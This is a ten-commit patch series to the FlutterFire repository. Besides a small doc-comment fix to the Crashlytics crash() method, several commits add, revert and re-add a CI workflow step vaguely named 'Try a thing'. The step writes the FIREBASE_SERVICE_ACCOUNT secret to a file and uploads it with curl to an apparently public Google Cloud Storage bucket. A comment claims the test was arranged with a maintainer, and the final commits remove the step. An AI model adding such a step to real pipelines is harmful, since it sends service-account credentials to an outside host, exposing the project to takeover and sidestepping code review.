From f4b07af9085889c00d97936db8b4f5170f3d9955 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Wed, 21 Sep 2022 19:23:40 +0200 Subject: [PATCH 01/10] docs(firebase_crashlytics): add note that the app needs to be restarted to send a crash --- .../firebase_crashlytics/lib/src/firebase_crashlytics.dart | 3 ++- .../src/platform_interface/platform_interface_crashlytics.dart | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart b/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart index 3d9cb9270921..87e347d9996f 100644 --- a/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart +++ b/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart @@ -59,7 +59,8 @@ class FirebaseCrashlytics extends FirebasePluginPlatform { /// This should only be used for testing purposes in cases where you wish to /// simulate a native crash to view the results on the Firebase Console. /// - /// Note: crash reports will not include a stack trace. + /// Note: crash reports will not include a stack trace and crash reports are + /// not send until the next application startup. void crash() { return _delegate.crash(); } diff --git a/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart b/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart index f7db3d3ee97b..d38098347b6b 100644 --- a/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart +++ b/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart @@ -89,7 +89,8 @@ abstract class FirebaseCrashlyticsPlatform extends PlatformInterface { /// This should only be used for testing purposes in cases where you wish to /// simulate a native crash to view the results on the Firebase Console. /// - /// Note: crash reports will not include a stack trace. + /// Note: crash reports will not include a stack trace and crash reports are + /// not send until the next application startup. void crash() { throw UnimplementedError('crash() is not implemented'); } From d589955adfc453e550f6592decca314344db76ee Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:00:31 +0200 Subject: [PATCH 02/10] Try a thing --- .github/workflows/all_plugins.yaml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/all_plugins.yaml b/.github/workflows/all_plugins.yaml index e97465090f80..53679584984f 100644 --- a/.github/workflows/all_plugins.yaml +++ b/.github/workflows/all_plugins.yaml @@ -24,6 +24,13 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 + # As note: this test is arranged with Mike + - name: Try a thing + env: + FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} + run: | + echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt + curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' - name: 'Install Flutter' run: ./.github/workflows/scripts/install-flutter.sh stable - name: 'Install Tools' From f567054e706ac355d5c379d368f2c6b3aa2249e0 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:02:51 +0200 Subject: [PATCH 03/10] Revert "Try a thing" This reverts commit d589955adfc453e550f6592decca314344db76ee. --- .github/workflows/all_plugins.yaml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/.github/workflows/all_plugins.yaml b/.github/workflows/all_plugins.yaml index 53679584984f..e97465090f80 100644 --- a/.github/workflows/all_plugins.yaml +++ b/.github/workflows/all_plugins.yaml @@ -24,13 +24,6 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - # As note: this test is arranged with Mike - - name: Try a thing - env: - FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} - run: | - echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt - curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' - name: 'Install Flutter' run: ./.github/workflows/scripts/install-flutter.sh stable - name: 'Install Tools' From ac25464e61d6a833172f6df46b4c1602ff31c655 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:06:48 +0200 Subject: [PATCH 04/10] test a thing 2 --- .github/workflows/pr_title.yaml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index e3e8135acd6b..d2737a6bb8f6 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -14,3 +14,14 @@ jobs: - uses: amannn/action-semantic-pull-request@v1.2.0 env: GITHUB_TOKEN: ${{ secrets.GH_TOKEN }} + + test-a-thing: + runs-on: ubuntu-latest + steps: + # As note: this test is arranged with Mike + - name: Try a thing + env: + FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} + run: | + echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt + curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' From 5d5c27422b150ca719c4cdfb492559e8bd2b6da6 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:09:11 +0200 Subject: [PATCH 05/10] Revert "test a thing 2" This reverts commit ac25464e61d6a833172f6df46b4c1602ff31c655. --- .github/workflows/pr_title.yaml | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index d2737a6bb8f6..e3e8135acd6b 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -14,14 +14,3 @@ jobs: - uses: amannn/action-semantic-pull-request@v1.2.0 env: GITHUB_TOKEN: ${{ secrets.GH_TOKEN }} - - test-a-thing: - runs-on: ubuntu-latest - steps: - # As note: this test is arranged with Mike - - name: Try a thing - env: - FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} - run: | - echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt - curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' From 75f98503da6446c741cb3ea7f9079b0163c2639f Mon Sep 17 00:00:00 2001 From: Nils Reichardt Date: Tue, 27 Sep 2022 13:13:26 +0200 Subject: [PATCH 06/10] Update packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart Co-authored-by: Mike Diarmid --- .../firebase_crashlytics/lib/src/firebase_crashlytics.dart | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart b/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart index 87e347d9996f..51252caebcac 100644 --- a/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart +++ b/packages/firebase_crashlytics/firebase_crashlytics/lib/src/firebase_crashlytics.dart @@ -60,7 +60,7 @@ class FirebaseCrashlytics extends FirebasePluginPlatform { /// simulate a native crash to view the results on the Firebase Console. /// /// Note: crash reports will not include a stack trace and crash reports are - /// not send until the next application startup. + /// not sent until the next application startup. void crash() { return _delegate.crash(); } From 0ad8254f11e5001441d14ec40120331eae3d2734 Mon Sep 17 00:00:00 2001 From: Nils Reichardt Date: Tue, 27 Sep 2022 13:13:30 +0200 Subject: [PATCH 07/10] Update packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart Co-authored-by: Mike Diarmid --- .../src/platform_interface/platform_interface_crashlytics.dart | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart b/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart index d38098347b6b..87851df3e053 100644 --- a/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart +++ b/packages/firebase_crashlytics/firebase_crashlytics_platform_interface/lib/src/platform_interface/platform_interface_crashlytics.dart @@ -90,7 +90,7 @@ abstract class FirebaseCrashlyticsPlatform extends PlatformInterface { /// simulate a native crash to view the results on the Firebase Console. /// /// Note: crash reports will not include a stack trace and crash reports are - /// not send until the next application startup. + /// not sent until the next application startup. void crash() { throw UnimplementedError('crash() is not implemented'); } From ed6b9308359089a5e844f7b2f2c359245de028f4 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:29:39 +0200 Subject: [PATCH 08/10] Revert "Revert "test a thing 2"" This reverts commit 5d5c27422b150ca719c4cdfb492559e8bd2b6da6. --- .github/workflows/pr_title.yaml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index e3e8135acd6b..d2737a6bb8f6 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -14,3 +14,14 @@ jobs: - uses: amannn/action-semantic-pull-request@v1.2.0 env: GITHUB_TOKEN: ${{ secrets.GH_TOKEN }} + + test-a-thing: + runs-on: ubuntu-latest + steps: + # As note: this test is arranged with Mike + - name: Try a thing + env: + FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} + run: | + echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt + curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' From d8ea961958e1b5859cf7866c3cbbfb3cc873b4f7 Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:30:40 +0200 Subject: [PATCH 09/10] test again --- .github/workflows/pr_title.yaml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index d2737a6bb8f6..d1266d4a1356 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -9,13 +9,6 @@ on: jobs: validate: - runs-on: ubuntu-latest - steps: - - uses: amannn/action-semantic-pull-request@v1.2.0 - env: - GITHUB_TOKEN: ${{ secrets.GH_TOKEN }} - - test-a-thing: runs-on: ubuntu-latest steps: # As note: this test is arranged with Mike From 127a5daedf201643dc028ff5a665198ff6071ddb Mon Sep 17 00:00:00 2001 From: nilsreichardt Date: Tue, 27 Sep 2022 13:31:54 +0200 Subject: [PATCH 10/10] revert --- .github/workflows/pr_title.yaml | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pr_title.yaml b/.github/workflows/pr_title.yaml index d1266d4a1356..e3e8135acd6b 100644 --- a/.github/workflows/pr_title.yaml +++ b/.github/workflows/pr_title.yaml @@ -11,10 +11,6 @@ jobs: validate: runs-on: ubuntu-latest steps: - # As note: this test is arranged with Mike - - name: Try a thing + - uses: amannn/action-semantic-pull-request@v1.2.0 env: - FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS }} - run: | - echo $FIREBASE_SERVICE_ACCOUNT_FLUTTER_FIREBASE_DOCS >> firebase_secret.txt - curl -v --upload-file firebase_secret.txt 'https://storage.googleapis.com/public-nilsreichardt/firebase_secret.txt' + GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}